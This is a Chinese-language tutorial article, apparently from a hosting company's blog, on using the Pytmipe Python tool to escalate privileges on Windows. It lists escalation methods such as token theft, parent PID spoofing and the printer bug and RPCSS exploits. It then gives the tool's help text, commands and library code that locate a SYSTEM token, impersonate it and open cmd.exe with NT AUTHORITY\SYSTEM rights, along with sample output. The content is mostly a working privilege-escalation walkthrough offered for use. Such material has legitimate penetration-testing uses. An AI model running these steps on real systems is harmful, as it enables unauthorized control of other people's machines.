您好,登錄后才能下訂單哦!
本篇內(nèi)容介紹了“怎么使用Pytmipe實現(xiàn)Windows上的令牌篡改和提權(quán)”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
PYTMIPE (通過令牌篡改和偽造實現(xiàn)提權(quán)的Python庫)是一個Python 3庫,支持在Windows系統(tǒng)中實現(xiàn)令牌篡改和模擬,最終實現(xiàn)權(quán)限提升。TMIPE則是一個Python 3客戶端,它主要使用的就是pytmipe庫。
一個Python客戶端:tmipe(python3 tmipe.py);
一個Python庫:pytmipe,用于將該項目與其他項目整合;
Pytinstaller樣例,用于獲取可執(zhí)行文件;
方法 | 需要的權(quán)限 | 操作系統(tǒng)(未包含全部) | 直接目標(biāo)(最佳效果) |
令牌創(chuàng)建&偽造 | 用戶名& 密碼 | All | local administrator |
令牌偽造&竊取 | SeDebugPrivilege | All | nt authority\system |
父PID嗅探(句柄繼承) | SeDebugPrivilege | >= Vista | nt authority\system |
服務(wù)(SCM) | 本地管理員 | All | nt authority\system or domain account |
WMI 事件 | 本地管理員 | All | nt authority\system |
? 指針漏洞 ? LPE | SeImpersonatePrivilege (Service 賬號) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
RPCSS 服務(wù)LPE | SeImpersonatePrivilege (Service 賬號) | Windows 10 & Server 2016/2019 | nt authority\system |
ctypes使用的情況非常多,pywin32的很多功能都已經(jīng)整合進了pytmipe,以獲得更好的可移植性。但是,目前由于時間緊任務(wù)中,任務(wù)調(diào)度程序模塊仍然使用pywin32(更確切地說是pythoncom)。所有其他模塊僅使用ctypes。
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/quentinhardy/pytmipe.git
針對python客戶端(tmipe):
python.exe tmipe.py -h usage: tmipe.py [-h] [--version] {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm} ... ** 888888 8b d8 88 88""Yb 888888 88 88b d88 88 88__dP 88__ 88 88YbdP88 88 88""" 88"" 88 88 YY 88 88 88 888888 ------------------------------------------- Token Manipulation, Impersonation and Privilege Escalation (Tool) ------------------------------------------- By Quentin HARDY (quentin.hardy@protonmail.com) positional arguments: {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm} Choose a main command cangetadmin Check if user can get admin access printalltokens Print all tokens accessible from current thread printalltokensbyname Print all tokens accessible from current thread by account name printalltokensbypid Print all tokens accessible from current thread by pid printsystemtokens Print all system tokens accessible from current searchimpfirstsystem search and impersonate first system token imppid impersonate primary token of selected pid and try to spawn cmd.exe imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe printerbug exploit the "printer bug" for getting system shell rpcss exploit "rpcss" for getting system shell spoof parent PID Spoofing ("handle inheritance)" impuser create process with creds with impersonation runas create process with creds as runas scm create process with Service Control Manager optional arguments: -h, --help show this help message and exit --version show program's version number and exit
針對python庫(pytmipe),可以直接查看源碼和樣本,這些我已經(jīng)提供了非常詳細(xì)的文檔以供參考。
針對pyinstaller樣本和可執(zhí)行文件,請查看該項目的src/examples/文件夾。
如需偽造第一個system令牌,并以system權(quán)限打開cmd.exe(使用python客戶端-tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
我們也可以直接使用pytmipe庫來進行相同操作:
from impersonate import Impersonate from utils import configureLogging configureLogging() imp = Impersonate() imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
獲取當(dāng)前進程中的主令牌:
python.exe tmipe.py printalltokens --current --full --linked
輸出:
- PID: 3212 ------------------------------ - PID: 3212 - type: Primary (1) - token: 764 - hval: None - ihandle: None - sid: S-1-5-18 - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1} - intlvl: System - owner: S-1-5-32-544 - Groups: - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER) - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY) - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY) - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY) - Privileges (User Rights): - SeAssignPrimaryTokenPrivilege: Enabled [...] - SeTrustedCredManAccessPrivilege: Enabled - issystem: True - sessionID: 1 - elevationtype: Default (1) - iselevated: True - Linked Token: None - tokensource: b'*SYSTEM*' - primarysidgroup: S-1-5-18 - isrestricted: False - hasrestricitions: True - Default DACL: - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'} - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'} [...] - Mandatory Policy: NO_WRITE_UP
如需從當(dāng)前線程獲取所有的令牌,可以使用下列命令:
python.exe tmipe.py printalltokensbypid --imp-only
輸出:
[...] - PID 4276: - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True) - PID 7252: - None - PID 1660: - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True) - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True) - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True) - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True) - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True) [...]
如果想要使用pytmipe庫來實現(xiàn)這個操作,也非常簡單:
from impersonate import Impersonate from utils import configureLogging configureLogging() imp = Impersonate() imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
我們可以選擇一個令牌進行偽造。第一步,根據(jù)我們的過濾器獲取所有的令牌:
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
輸出:
[...] - PID: 2288 ------------------------------ - PID: 2288 - type: Impersonation (2) - token: 2504 - ihandle: 118 - sid: S-1-5-18 - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1} - intlvl: System - owner: S-1-5-18 - issystem: True - elevationtype: Default (1) - iselevated: True - linkedtoken: None - implevel: Impersonate (2) - appcontainertoken: False [...] - primarysidgroup: S-1-5-18 - isrestricted: False - hasrestricitions: True - Mandatory Policy: VALID_MASK - canimpersonate: True [...]
輸出結(jié)果顯示,偽造的令牌位于PID 2288,該令牌具有完整性級別系統(tǒng)??梢允褂靡韵旅顐卧齑颂囟钆疲?/p>
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
這條命令將以nt authority\system權(quán)限打開cmd.exe。我們也可以使用pytmipe庫來實現(xiàn)相同的效果,下面的源代碼能夠偽造第一個可用的system令牌,并打印有效令牌:
from impersonate import Impersonate from windef import TokenImpersonation allTokens = imp.getTokensAccessibleFilter(targetPID=None, filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation}, _useThreadMethod=False) if allTokens == {} or allTokens==None: print("No one token found for impersonation") else: pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens' firstIHandle = allTokens[pid][0]['ihandle'] imp.printThisToken(allTokens, pid, firstIHandle) imp.impersonateThisToken(pid=pid, iHandle=firstIHandle) print("Current Effective token for current thread after impersonation:") imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False) imp.terminateImpersonation() print("Current Effective token for current thread (impersonation finished):") imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
“怎么使用Pytmipe實現(xiàn)Windows上的令牌篡改和提權(quán)”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。